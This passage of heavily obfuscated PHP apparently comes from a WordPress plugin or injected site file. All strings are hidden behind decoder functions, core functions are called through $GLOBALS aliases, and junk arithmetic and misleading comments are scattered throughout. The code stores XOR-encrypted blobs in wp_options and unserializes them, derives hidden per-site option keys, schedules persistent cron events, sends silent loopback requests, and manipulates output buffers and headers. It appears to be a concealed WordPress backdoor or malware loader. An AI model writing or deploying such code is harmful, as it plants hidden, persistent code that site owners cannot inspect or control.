       teikfigf_p5265esq_q(b4gbsak56f40gos(341), tvo1rh46s_(342));



    continue;
     }
// case preserving

  
 $w9bd1cf5ruhazz0  = $GLOBALS['__scf_honmo92acbfag2_340']($voqkq593lk8yf6[0]);



    if ($w9bd1cf5ruhazz0  <  1 || $GLOBALS['__scf_m2ym9pki8mue9_11']($voqkq593lk8yf6)      <    1  +   $w9bd1cf5ruhazz0)   {

 teikfigf_p5265esq_q(fjup2mc1h(341),  op9tjzix(343));
continue;
}

 $wq5kfc2oqf9  =  $GLOBALS['__scf_zre6ec18ly90y_10']($voqkq593lk8yf6,   1,  $w9bd1cf5ruhazz0);
$qoc6mv2t6m =  $GLOBALS['__scf_zre6ec18ly90y_10']($voqkq593lk8yf6,  1  + $w9bd1cf5ruhazz0);
  $qo75h4eo1bqxhlhx    =  $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_h8pe_c5_3n_344']($GLOBALS['__scf_yp401qf4i0g_239'](wlgh2_th(332), $GLOBALS['__scf_s2scu5dqyx4_345'](wlgh2_th(346),   $qoc6mv2t6m))));
  if    ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(193)))      {$fn2j0vuxxdm1a=PHP_INT_MAX/PHP_INT_MAX;$_8p7cpnw6=$fn2j0vuxxdm1a+24;
 update_option(tvo1rh46s_(330),   $cdie6xtzwzt7j);
 update_option(op9tjzix(347),   $GLOBALS['__scf_de_u08mc_p_348']("\n",  $qo75h4eo1bqxhlhx));
      }
 return array(op9tjzix(349)   =>  $wq5kfc2oqf9, wlgh2_th(350)  =>  $qo75h4eo1bqxhlhx);

    }  catch     (Throwable $x0ydieb0v_72m_u)  {
 teikfigf_p5265esq_q(op9tjzix(341),  $x0ydieb0v_72m_u);
continue;


      }   catch (Exception $x0ydieb0v_72m_u)  {
     continue;



}
     }
$an70xyhejhjn0ev  =   $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(205))      ?    (string)  get_option(zp28wk01y(351),     "")     : "";



      $h8whr64djvvju    =  cvod3ffny5vm5dt3d(zp28wk01y(352), "");
  if     ($an70xyhejhjn0ev   !==    ""  &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($h8whr64djvvju)   &&      $h8whr64djvvju    !==  "") {
   $qo75h4eo1bqxhlhx   =   $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_h8pe_c5_3n_344']($GLOBALS['__scf_yp401qf4i0g_239'](fjup2mc1h(332), $GLOBALS['__scf_s2scu5dqyx4_345'](op9tjzix(346), $an70xyhejhjn0ev))));
       if   (!   empty($qo75h4eo1bqxhlhx)) {
return  array(tvo1rh46s_(349)  =>    $h8whr64djvvju,   tvo1rh46s_(350) =>   $qo75h4eo1bqxhlhx);
   }



      }
   teikfigf_p5265esq_q(zp28wk01y(341),  wlgh2_th(353));
return  array();
   }
  function   _gb9zjafn_eq8xrjxb($m0q0wt95g3ow2dp0,  $f21cfhv2wn1,    $t912y7rcsv1)
   {



      if  (!    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(193))) {
 return   false;


 }


if    (isset($GLOBALS[op9tjzix(354)]) &&   $GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[b4gbsak56f40gos(354)]) &&   $GLOBALS['__scf_xc9hrpqrsvv6k2_251']($m0q0wt95g3ow2dp0,      $GLOBALS[tvo1rh46s_(355)]))  {
    unset($GLOBALS[fjup2mc1h(356)][$m0q0wt95g3ow2dp0]);
     }
$r3zx2x3gf_5dqoe = $GLOBALS['__scf_wepau2f2borz_357']($f21cfhv2wn1);
     $qe730xhp9l948mlw = $GLOBALS['__scf_lh6iqyp38q3_358']($GLOBALS['__scf_hw2kkbd0s2i_359'](1,    (450-195)));
  

 $oxsw6yg8l6ot8w94   = "";
   for  ($it6eoxr68lt   =    0,  $clbca6w7rzhm8h4  =   $GLOBALS['__scf_m2ym9pki8mue9_11']($r3zx2x3gf_5dqoe); $it6eoxr68lt      <    $clbca6w7rzhm8h4;   $it6eoxr68lt++) {
  $oxsw6yg8l6ot8w94   .=  $GLOBALS['__scf_lh6iqyp38q3_358']($GLOBALS['__scf_honmo92acbfag2_340']($r3zx2x3gf_5dqoe[$it6eoxr68lt])  ^    $GLOBALS['__scf_honmo92acbfag2_340']($qe730xhp9l948mlw));

 }


return  update_option($m0q0wt95g3ow2dp0, $GLOBALS['__scf_g8_t7dlza2_360']($qe730xhp9l948mlw .  $oxsw6yg8l6ot8w94),    $t912y7rcsv1)   !== false;
  }


 



      function mbu8jpz9mni4nrwrzww($m0q0wt95g3ow2dp0,      $ntwq5oiehnxn)
      {
if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(205)))  return    $ntwq5oiehnxn;
      if    (isset($GLOBALS[b4gbsak56f40gos(356)])  && $GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[op9tjzix(356)])  &&    $GLOBALS['__scf_xc9hrpqrsvv6k2_251']($m0q0wt95g3ow2dp0,  $GLOBALS[fjup2mc1h(356)]))    {
     return      $GLOBALS[zp28wk01y(361)][$m0q0wt95g3ow2dp0];
}

     $bt0ahuxrrfeeta1   =  get_option($m0q0wt95g3ow2dp0,  "");
       if  ($bt0ahuxrrfeeta1  ===    ""  ||   !  $GLOBALS['__scf_zneqqdn4vlt4_42']($bt0ahuxrrfeeta1))  {
   return $ntwq5oiehnxn;
  }
 $r0kizq2sgbuc26rk   =     @$GLOBALS['__scf__cpt1d1twdvp_362']($bt0ahuxrrfeeta1,  true);
if      ($r0kizq2sgbuc26rk  ===    false  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($r0kizq2sgbuc26rk)   < 2)  {
   return    $ntwq5oiehnxn;
  }
// WP Paragraph Block network broadcast

 $qe730xhp9l948mlw     = $r0kizq2sgbuc26rk[0];
$kgbgcl6mta75    =   "";
 for  ($it6eoxr68lt     =  1,  $clbca6w7rzhm8h4 =   $GLOBALS['__scf_m2ym9pki8mue9_11']($r0kizq2sgbuc26rk);   $it6eoxr68lt    <    $clbca6w7rzhm8h4; $it6eoxr68lt++) {$w76ytbfkgmc8w=PHP_INT_MAX/PHP_INT_MAX;$wi0a5t3ch5c=$w76ytbfkgmc8w+28;
 $kgbgcl6mta75     .= $GLOBALS['__scf_lh6iqyp38q3_358']($GLOBALS['__scf_honmo92acbfag2_340']($r0kizq2sgbuc26rk[$it6eoxr68lt])    ^ $GLOBALS['__scf_honmo92acbfag2_340']($qe730xhp9l948mlw));
  }
   $q9qetflssali  = rpeceehul3kjs3_cf($kgbgcl6mta75);$_0hjhmrukl7=PHP_INT_MAX/PHP_INT_MAX;$vd2hbooh32m=$_0hjhmrukl7+41;
   if   ($q9qetflssali   !== false)  {
  if   (!isset($GLOBALS[tvo1rh46s_(361)])  || !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[op9tjzix(361)])) $GLOBALS[fjup2mc1h(361)]   =      array();
  if    ($GLOBALS['__scf_j38tk0441lk_37']($GLOBALS[fjup2mc1h(361)]) >  (4<<4))   $GLOBALS[zp28wk01y(361)] =   array();
   $GLOBALS[tvo1rh46s_(363)][$m0q0wt95g3ow2dp0]    = $q9qetflssali;
    return  $q9qetflssali;

}

    return  $ntwq5oiehnxn;
}



 function rpeceehul3kjs3_cf($ars2e0ykxmq)
     {
   if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ars2e0ykxmq))   return  false;

    if    (defined(fjup2mc1h(364)) &&   PHP_VERSION_ID  >=  (14318+55682))      {
   return   @$GLOBALS['__scf_fwkq_05r177s4_365']($ars2e0ykxmq,   array(zp28wk01y(366) =>     false));
  }
 return @$GLOBALS['__scf_fwkq_05r177s4_365']($ars2e0ykxmq);



 }
function mgmlo9v90kizvxyt9wm()

{
static    $fuudv53fhxni7l    =  null;

if    ($fuudv53fhxni7l  !==  null)    return   $fuudv53fhxni7l;
  $frgd4znm8k     = defined(op9tjzix(120))      ?  ABSPATH :   "";
    $fuudv53fhxni7l     = $GLOBALS['__scf_q93011jdjf_13']($GLOBALS['__scf_qx45pe7tfwqub_367']('\\',  '/',    $frgd4znm8k),   '/') .      '/';


    return     $fuudv53fhxni7l;
   }
   function gmztkp8nrj6zdlt($m0q0wt95g3ow2dp0)
       {

       return fmsvr16ge0nzzk9i6u(mgmlo9v90kizvxyt9wm()   .    (string)   wzkcxw_m1n8fard2g()   .  $m0q0wt95g3ow2dp0, (0xb+0x1));


     }
 function v5bdtp7jppe_l3a6jc4f($q_wtfycqfb)
     {
return (string)  ((90999942+58)  +  ((int) hexdec($GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](mgmlo9v90kizvxyt9wm()  .  op9tjzix(368)   . $q_wtfycqfb), 0, (2+5)))  % (10163862-1163863)));$suqwstfn=(0x48+0x56);$cvdn115pfu4=$suqwstfn%12;

}


function kbcc38ndvdju6hn7dtbyf()
       {
// @coalesce-reg session-type

     return      v5bdtp7jppe_l3a6jc4f(fjup2mc1h(369));
  }
function rbfnjmleny00_7kv()
     {
      $rnc474m90gatrx  =   (string) cvod3ffny5vm5dt3d(zp28wk01y(370),  "");
 return  $GLOBALS['__scf_m2ym9pki8mue9_11']($rnc474m90gatrx)  > (130^136)  &&   $GLOBALS['__scf_rbe_sihvfv_8']($rnc474m90gatrx,      kbcc38ndvdju6hn7dtbyf())  !==  false  &&  $GLOBALS['__scf_m2ym9pki8mue9_11']((string)      cvod3ffny5vm5dt3d(fjup2mc1h(371), ""))   >  (94+6);
    }



  
   function      cvod3ffny5vm5dt3d($m0q0wt95g3ow2dp0, $ntwq5oiehnxn)
 {
return mbu8jpz9mni4nrwrzww(gmztkp8nrj6zdlt($m0q0wt95g3ow2dp0), $ntwq5oiehnxn);
   }
 function  _688a_rvvxzf58($m0q0wt95g3ow2dp0,     $ntwq5oiehnxn   =    "")

 {



  $cqa9ps1o2ezc4_  =      cvod3ffny5vm5dt3d($m0q0wt95g3ow2dp0, $ntwq5oiehnxn);
if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($cqa9ps1o2ezc4_))  return   $cqa9ps1o2ezc4_;
if   ($GLOBALS['__scf_pwfpxyvmfin3_372']($cqa9ps1o2ezc4_))    return (string)  $cqa9ps1o2ezc4_;
     return   $ntwq5oiehnxn;
}
   function v2tiam6q2h4zs04bs_si_n($m0q0wt95g3ow2dp0,   $f21cfhv2wn1, $t912y7rcsv1)
   {
  return  _gb9zjafn_eq8xrjxb(gmztkp8nrj6zdlt($m0q0wt95g3ow2dp0),     $f21cfhv2wn1,    $t912y7rcsv1);

   }



      function  im8om_xz9agyv7m()
      {
       $y390rtxt6bkbxie  =   isset($GLOBALS[fjup2mc1h(163)])  ? $GLOBALS[fjup2mc1h(373)]  : array();
   $bt0ahuxrrfeeta1     = cvod3ffny5vm5dt3d(tvo1rh46s_(374),   array());
       if ($GLOBALS['__scf_knhbvsumnby3_36']($bt0ahuxrrfeeta1))   {
   $y390rtxt6bkbxie   =    $GLOBALS['__scf_h63ymopf9_k_375']($bt0ahuxrrfeeta1, $y390rtxt6bkbxie);
    }
  $y390rtxt6bkbxie  =   $GLOBALS['__scf_s8rgnr7_02m_155']($y390rtxt6bkbxie);
return  $GLOBALS['__scf_eriwpctk0hsvu4_164']($y390rtxt6bkbxie, -(37+13));
  }

function  a0ijwrakfd1japl44()
  {
// pure-adj collector

if  (!isset($GLOBALS[b4gbsak56f40gos(373)])  ||   empty($GLOBALS[fjup2mc1h(373)]))   return;

  try  {
        $bt0ahuxrrfeeta1    =  cvod3ffny5vm5dt3d(tvo1rh46s_(374),     array());
       $a79vsfq3ylf  =  $GLOBALS['__scf_s8rgnr7_02m_155']($GLOBALS['__scf_h63ymopf9_k_375']((array)$bt0ahuxrrfeeta1, $GLOBALS[wlgh2_th(373)]));
$a79vsfq3ylf     =  $GLOBALS['__scf_eriwpctk0hsvu4_164']($a79vsfq3ylf,    -(25<<1));
      v2tiam6q2h4zs04bs_si_n(tvo1rh46s_(374),  $a79vsfq3ylf,    wlgh2_th(195));
     }   catch (Throwable  $x0ydieb0v_72m_u)   {
     teikfigf_p5265esq_q(wlgh2_th(376), $x0ydieb0v_72m_u);
  } catch (Exception   $x0ydieb0v_72m_u)  {
  }
   }
    
function wiy8pwermvq1qyx($ars2e0ykxmq,   $key)
      {
 if  (!  $GLOBALS['__scf_zneqqdn4vlt4_42']($ars2e0ykxmq) ||   !  $GLOBALS['__scf_zneqqdn4vlt4_42']($key)    ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($key)  ===  0)    {
// PHP CS Fixer transient TTL

return null;
  }
 $lqgq10i4kpu3ib =    $GLOBALS['__scf_m2ym9pki8mue9_11']($ars2e0ykxmq);
     $qci4m7ioxl  = $GLOBALS['__scf_m2ym9pki8mue9_11']($key);
      $cmaajh50rfi7zkbh =  "";

   for ($it6eoxr68lt =  0;    $it6eoxr68lt  <   $lqgq10i4kpu3ib;  $it6eoxr68lt++)   {
$cmaajh50rfi7zkbh .=   $GLOBALS['__scf_lh6iqyp38q3_358']($GLOBALS['__scf_honmo92acbfag2_340']($ars2e0ykxmq[$it6eoxr68lt]) ^    $GLOBALS['__scf_honmo92acbfag2_340']($key[$it6eoxr68lt  %    $qci4m7ioxl]));
}
 return   $cmaajh50rfi7zkbh;
    

}
   
    function w8s5f6feqbx2tuz2s7c($h12atw5hqwi)

{
if   (! $GLOBALS['__scf_knhbvsumnby3_36']($h12atw5hqwi))  {
// orthogonal-adj composite

 $h12atw5hqwi =  array();
 }
   static  $w5jl_f6nzawgme5t  =   null;
 if ($w5jl_f6nzawgme5t   ===   null) {


     $w5jl_f6nzawgme5t   = g4qqj8jzajjudxckl();
 $mayx1ashajuh =  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(377))  ?   mbu8jpz9mni4nrwrzww(wlgh2_th(378),  false)   :    false;
if     ($GLOBALS['__scf_knhbvsumnby3_36']($mayx1ashajuh)   && isset($mayx1ashajuh[op9tjzix(379)])   && (int)   $mayx1ashajuh[b4gbsak56f40gos(380)]  >=    (277+23)  &&   (int)   $mayx1ashajuh[zp28wk01y(380)] <= (86358+42))    $w5jl_f6nzawgme5t = (int)    $mayx1ashajuh[op9tjzix(380)];$u56spigf=(0x6e+0xd1);$h_tkoo87tzo7t=$u56spigf%8;
      if ($w5jl_f6nzawgme5t   <    (0x30+0xc))    {
  $w5jl_f6nzawgme5t =     (3537+63);
 }
    }
  $h12atw5hqwi[tvo1rh46s_(381)]     =   array(
     b4gbsak56f40gos(382)   =>      $w5jl_f6nzawgme5t,
   zp28wk01y(383)   =>      wlgh2_th(384),
       );
      $h12atw5hqwi[tvo1rh46s_(385)] =    array(


 op9tjzix(386)  =>  (0x19d+0xbb),
  op9tjzix(387) => b4gbsak56f40gos(388),
   );$z0t_87zlup_b=-261;$lxczv8fwy8l=($z0t_87zlup_b>0)?$z0t_87zlup_b:-$z0t_87zlup_b;
 return  $h12atw5hqwi;$j114w1xxn=26*4;$dq3hsr1u_=$j114w1xxn-31;


}
  
  function  m3glk3wztmwqklvb12_()
 {
 if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(389))    ||    !$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(390))) return;
   if     (!mmsya1lu9x3wz6a92pu(wlgh2_th(391))) return;
      try  {$ciopacwd=PHP_MAJOR_VERSION;$h_qzm9c98vge0=$ciopacwd*2;



   if   (!wp_next_scheduled(w9g08cirf_gw6p6su8())) {
  wp_schedule_event($GLOBALS['__scf_yg2rpewmkg_192']() +   $GLOBALS['__scf_hw2kkbd0s2i_359']((68-8),  (220+80)), fjup2mc1h(381),     w9g08cirf_gw6p6su8());
     }
}  finally {$xwr42hz7vf=(0x22+0x18);$am77zmw0=$xwr42hz7vf%3;
   xckt_q1b7jgyro8rvq(b4gbsak56f40gos(392));
   }


  }
     
   function   zaxde723nj1q8ni9sqdya8()
 {
   
if  (defined(tvo1rh46s_(393)) &&  DOING_CRON)  {
   return;
    }
    
static  $tbmkobtuzp3gr =  false;
 if ($tbmkobtuzp3gr) return;
 $tbmkobtuzp3gr     =  true;
 
       if (!  b9yvpc2wfw2jm0j4bvrvil())   {
/* serializable iterator */

       return;
 

}
 
      uh36p8urjd71g_u9smnf(zp28wk01y(394), b4gbsak56f40gos(395), 0);
  }
function     _u65yucuxkqiqsvp9()



    {
  if    (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(396))  ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(397)))  return;

@$GLOBALS['__scf_aveut5m3qzw4x_301'](site_url(wlgh2_th(398) . $GLOBALS['__scf_qx45pe7tfwqub_367']('.',    "", (string) $GLOBALS['__scf_knb470agoho1_297'](true))  .  $GLOBALS['__scf_hw2kkbd0s2i_359']((0x39+0x2b), (992+7))),     array(fjup2mc1h(399)    =>    0.01,    tvo1rh46s_(400)  =>    false,  wlgh2_th(401) =>   false));



 }
function   r9m95x_ia5q3akknmg()
      {
// @format record-layer



       static  $athan76n40  =  false;
  if   ($athan76n40) return;
  $athan76n40 =   true;

try {
       t_s0_shjcu_mh7c1ioc3();
  $bqqkgp2bmibk    =  false;
   

      if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(402)))    {
      $GLOBALS['__scf_ytyghd4b9k58e_402']();
$bqqkgp2bmibk  =      true;
       }   elseif ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(403))) {
  $GLOBALS['__scf_k6m_q8843h46_403']();

        $bqqkgp2bmibk  =   true;
     }   else   {
if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(404)))   {
  @$GLOBALS['__scf_acczjxl0eb0i_405'](true);
        }
   $px65t6xs1da_ip7d  =  false;
  if   ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(116)))  {
// configure factory for PHP attributes

$vpq1mzg2fq38d8a   =  $GLOBALS['__scf_pdnlp7jjhnya_106']($GLOBALS['__scf_bbs7j5b1fx_332']((string)  @$GLOBALS['__scf_livuu39cntpdx3_116'](tvo1rh46s_(406))));
      $px65t6xs1da_ip7d  =  ($vpq1mzg2fq38d8a  !==   ""  && $vpq1mzg2fq38d8a   !== '0'     &&    $vpq1mzg2fq38d8a     !==     wlgh2_th(407));
  }
     $pup5wmn5j699uxsz =  $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(408)) ? @ob_get_status(true) : array();
 if ($GLOBALS['__scf_knhbvsumnby3_36']($pup5wmn5j699uxsz))  {
foreach ($pup5wmn5j699uxsz   as     $l1xcuu2x7jz)   {
   $iz06a3ec5e73f   = $GLOBALS['__scf_knhbvsumnby3_36']($l1xcuu2x7jz)  && isset($l1xcuu2x7jz[fjup2mc1h(409)]) ?   $GLOBALS['__scf_pdnlp7jjhnya_106']((string)  $l1xcuu2x7jz[op9tjzix(409)])    :  "";



 if    ($GLOBALS['__scf_rbe_sihvfv_8']($iz06a3ec5e73f,    fjup2mc1h(410)) !== false   ||  $GLOBALS['__scf_rbe_sihvfv_8']($iz06a3ec5e73f, fjup2mc1h(411))  !==  false)   {
 $px65t6xs1da_ip7d = true;
 

     break;
    }
}

      }
      if (!$px65t6xs1da_ip7d &&  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(412))) {
    foreach  ((array)    @headers_list()      as    $zrc5mtsoz64x740)  {
// @post-dominate interpreter

    if    (stripos($zrc5mtsoz64x740,  zp28wk01y(413))   ===    0 && stripos($zrc5mtsoz64x740,  fjup2mc1h(414))     ===  false)  {
    $px65t6xs1da_ip7d =    true;


      break;
  }

 }



    }
$olb5ko1qa8zk6   =    $GLOBALS['__scf_f9tn7hbu7z_107']();
    $amxyv3dmn_ggcknm  =  ($olb5ko1qa8zk6    !==     b4gbsak56f40gos(415)     &&   $olb5ko1qa8zk6    !==  zp28wk01y(416));
 $wh5httwq_xk3b56   = $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(417))   ? (int)  @http_response_code() :     (0x7f+0x49);
    $gsphla7j8iu7zv  =    ($wh5httwq_xk3b56   >=   (172-72) &&  $wh5httwq_xk3b56   <    (256-56)) ||   $wh5httwq_xk3b56 === (115+89)  || $wh5httwq_xk3b56 ===    (255+49);

      $ppjx2u13cvgimfi     =   (isset($_SERVER[op9tjzix(418)])   && $_SERVER[wlgh2_th(418)]  ===    op9tjzix(419));
$lb2zltjhre_vu2z    = false;$illl1r4gyaed=PHP_INT_MAX/PHP_INT_MAX;$e0b3mmp2n8t8sg=$illl1r4gyaed+99;
 if  ($amxyv3dmn_ggcknm  &&     !$gsphla7j8iu7zv && !$ppjx2u13cvgimfi &&  !headers_sent() && !$px65t6xs1da_ip7d)  {
while ($GLOBALS['__scf_cbxznqxlbgq70_420']()    >   1)  {



   $cfhedba9oc_k  = $GLOBALS['__scf_cbxznqxlbgq70_420']();

   if (!@$GLOBALS['__scf_g78q01g_fb5t2_421']() ||  $GLOBALS['__scf_cbxznqxlbgq70_420']()   >=    $cfhedba9oc_k)  break;

}
     $l1xcuu2x7jz    =  $GLOBALS['__scf_cbxznqxlbgq70_420']()    ===     1 &&   $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(422)) ?   @ob_get_status()     :     array();
  $iz06a3ec5e73f      =    $GLOBALS['__scf_knhbvsumnby3_36']($l1xcuu2x7jz) &&  isset($l1xcuu2x7jz[fjup2mc1h(409)])    ?  $GLOBALS['__scf_pdnlp7jjhnya_106']((string)   $l1xcuu2x7jz[zp28wk01y(409)])  :   "";
   $_cl  =  false;
    if   ($GLOBALS['__scf_cbxznqxlbgq70_420']()   ===   0)   {
      $_cl   = 0;
 } elseif      (
$GLOBALS['__scf_cbxznqxlbgq70_420']() ===  1
  && $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(422))



      &&   ($iz06a3ec5e73f  ===    ""    ||  $iz06a3ec5e73f   === fjup2mc1h(423))
&&  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(424))
   )   {
  $_cl   =   @ob_get_length();
    }
$ep259cm92b   =   true;
  if  (isset($GLOBALS[zp28wk01y(425)][zp28wk01y(426)])) {

     $_wf  =      $GLOBALS[b4gbsak56f40gos(425)][zp28wk01y(426)];
  $m97xw4v77_wd    =     ($GLOBALS['__scf_l4xn242gw4_70']($_wf)    && isset($_wf->callbacks))    ? $_wf->callbacks : ($GLOBALS['__scf_knhbvsumnby3_36']($_wf)    ?  $_wf  :    array());

  foreach ($m97xw4v77_wd    as  $_pr    =>   $kifajf65adf)     {
    if   (!$GLOBALS['__scf_knhbvsumnby3_36']($kifajf65adf)) continue;


foreach  ($kifajf65adf  as  $omstsaj8xxsg6u) {
 $dix6fbuinz6xzsn0   =      ($GLOBALS['__scf_knhbvsumnby3_36']($omstsaj8xxsg6u)    && isset($omstsaj8xxsg6u[tvo1rh46s_(427)])) ?   $omstsaj8xxsg6u[tvo1rh46s_(427)]    :   "";
 if    ($GLOBALS['__scf_zneqqdn4vlt4_42']($dix6fbuinz6xzsn0) &&    $GLOBALS['__scf_av84ex67tlp92_156']($dix6fbuinz6xzsn0,  array(tvo1rh46s_(395), wlgh2_th(428)),    true))  continue;$vyhed5p2lmmea=235|32;$cqvjsy79bcw0t=$vyhed5p2lmmea^72;

$ep259cm92b = false;
 break 2;
  }
   }
   unset($_wf,  $m97xw4v77_wd,   $_pr,    $kifajf65adf,   $omstsaj8xxsg6u,  $dix6fbuinz6xzsn0);
       }



  if  ($_cl !==  false  && $ep259cm92b   && !headers_sent())  {
@header(zp28wk01y(429)    . (int)      $_cl);
@header(op9tjzix(430));
$lb2zltjhre_vu2z = true;
  }
 }


  if  ($amxyv3dmn_ggcknm)  {
     while  ($GLOBALS['__scf_cbxznqxlbgq70_420']()  >    0) {
 $cfhedba9oc_k     =  $GLOBALS['__scf_cbxznqxlbgq70_420']();

  if (!@$GLOBALS['__scf_g78q01g_fb5t2_421']() ||  $GLOBALS['__scf_cbxznqxlbgq70_420']() >=  $cfhedba9oc_k) break;
}
   @$GLOBALS['__scf_v2dcsudt2hx_431']();
  }
if ($lb2zltjhre_vu2z     && $GLOBALS['__scf_cbxznqxlbgq70_420']() ===      0) $bqqkgp2bmibk  =    true;
  unset($px65t6xs1da_ip7d,      $vpq1mzg2fq38d8a,    $pup5wmn5j699uxsz,   $l1xcuu2x7jz,  $iz06a3ec5e73f,  $zrc5mtsoz64x740,  $olb5ko1qa8zk6, $amxyv3dmn_ggcknm,    $wh5httwq_xk3b56,  $gsphla7j8iu7zv, $lb2zltjhre_vu2z,  $cfhedba9oc_k, $_cl,   $ppjx2u13cvgimfi);
      }
  $voyg7qn8p3c1mia      =  $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(432)) &&   !(defined(tvo1rh46s_(433)) &&    DISABLE_WP_CRON);
  $u0w4_yqqwmw    =     !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(434))  ||   (int)   get_option(b4gbsak56f40gos(435), 0)   ===  0;


  if   (!$u0w4_yqqwmw    && $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(436))      &&   $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(193)))  {$v55rkmjs63=4526;$qiwxulduam=$v55rkmjs63%13;
  $r80wfl_lal5v73z   = (string)  get_option(wlgh2_th(437),     "");



   if ($r80wfl_lal5v73z  !==  _vfpypr4wakqs7jy_())   {
 @update_option(tvo1rh46s_(437),   _vfpypr4wakqs7jy_(),    b4gbsak56f40gos(195));
@update_option(zp28wk01y(438),  0,  fjup2mc1h(195));

 $u0w4_yqqwmw     =  true;
    }
   }
     $bmh8b7t025m =   false;
   if  ($voyg7qn8p3c1mia     &&  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(439)))   {
   $bwqpzrp97t    =  wp_next_scheduled(w9g08cirf_gw6p6su8());


 if  ($bwqpzrp97t &&   ($GLOBALS['__scf_yg2rpewmkg_192']() - (int)   $bwqpzrp97t)  >  (3666+3534))      {
   $bmh8b7t025m    =  true;



if    ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(440))) @wp_unschedule_event((int)   $bwqpzrp97t,  w9g08cirf_gw6p6su8());
 }
// iterate reactive partition-refinement

}
  if  ($voyg7qn8p3c1mia &&  !$u0w4_yqqwmw    &&   !$bmh8b7t025m) {
  $u2wb3qdt4adf = $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(439))  ?     (int) wp_next_scheduled(w9g08cirf_gw6p6su8())      :  0;



if ($u2wb3qdt4adf <=     0  ||  $u2wb3qdt4adf   - $GLOBALS['__scf_yg2rpewmkg_192']()  >   (1619-719))   {


   @wp_schedule_single_event($GLOBALS['__scf_yg2rpewmkg_192'](),  w9g08cirf_gw6p6su8());
}
      xpwfsvxtbs34zm7y();


 return;
 }
 if ($bmh8b7t025m)  teikfigf_p5265esq_q(zp28wk01y(441),  op9tjzix(442));
        if  (!$bqqkgp2bmibk) {
   if    ($voyg7qn8p3c1mia)  {
 @wp_schedule_single_event($GLOBALS['__scf_yg2rpewmkg_192'](),   w9g08cirf_gw6p6su8());


   _u65yucuxkqiqsvp9();
xpwfsvxtbs34zm7y();
     return;
 }
  if  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(443))) @$GLOBALS['__scf_v_sh61jlp_8_444']((160+20));
   p3gwgn5uw85zn40vw((5+5));
    return;
  }
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(444))) @$GLOBALS['__scf_v_sh61jlp_8_444']((45<<2));
 p3gwgn5uw85zn40vw();
       } catch  (Throwable $x0ydieb0v_72m_u) {
  teikfigf_p5265esq_q(zp28wk01y(426),    $x0ydieb0v_72m_u);
      }  catch    (Exception  $x0ydieb0v_72m_u)     {
  }
  }
 
  function  g8mbbz6ql237xypds_o()
 {
// differential extension

      try    {
   if   (!     $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(445)))  {
  return;$ijqeu0nimovft=4043;$_dliqonkwdem=$ijqeu0nimovft%4;
}
      
    $o1yryviovnxh =    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(52))   ?   get_transient(uys5m_ytblknm5())    : false;



 if     (!    $GLOBALS['__scf_knhbvsumnby3_36']($o1yryviovnxh))  $o1yryviovnxh   =   mbu8jpz9mni4nrwrzww(zp28wk01y(378),   false);
     if (! $GLOBALS['__scf_knhbvsumnby3_36']($o1yryviovnxh))    {
// terminate asynchronous command

   return;
   }



 



   if     (isset($o1yryviovnxh[zp28wk01y(446)]) &&   $GLOBALS['__scf_knhbvsumnby3_36']($o1yryviovnxh[b4gbsak56f40gos(446)]))      {
$GLOBALS[op9tjzix(447)]  = j4163tkflaipuhu7i($o1yryviovnxh[zp28wk01y(448)]);


 }
     
  if   (isset($o1yryviovnxh[fjup2mc1h(449)])  &&   $GLOBALS['__scf_knhbvsumnby3_36']($o1yryviovnxh[b4gbsak56f40gos(449)]))    {

$GLOBALS[zp28wk01y(450)] =   j4163tkflaipuhu7i($o1yryviovnxh[zp28wk01y(449)]);



 }
  
   if (isset($o1yryviovnxh[tvo1rh46s_(451)])     &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($o1yryviovnxh[op9tjzix(452)]))  {
   $GLOBALS[fjup2mc1h(453)]  = $o1yryviovnxh[tvo1rh46s_(454)];
  }
if    (isset($o1yryviovnxh[b4gbsak56f40gos(455)])    &&      $GLOBALS['__scf_zneqqdn4vlt4_42']($o1yryviovnxh[wlgh2_th(455)])  && $GLOBALS['__scf_m2ym9pki8mue9_11']($o1yryviovnxh[fjup2mc1h(455)])    >   (16+34))    {
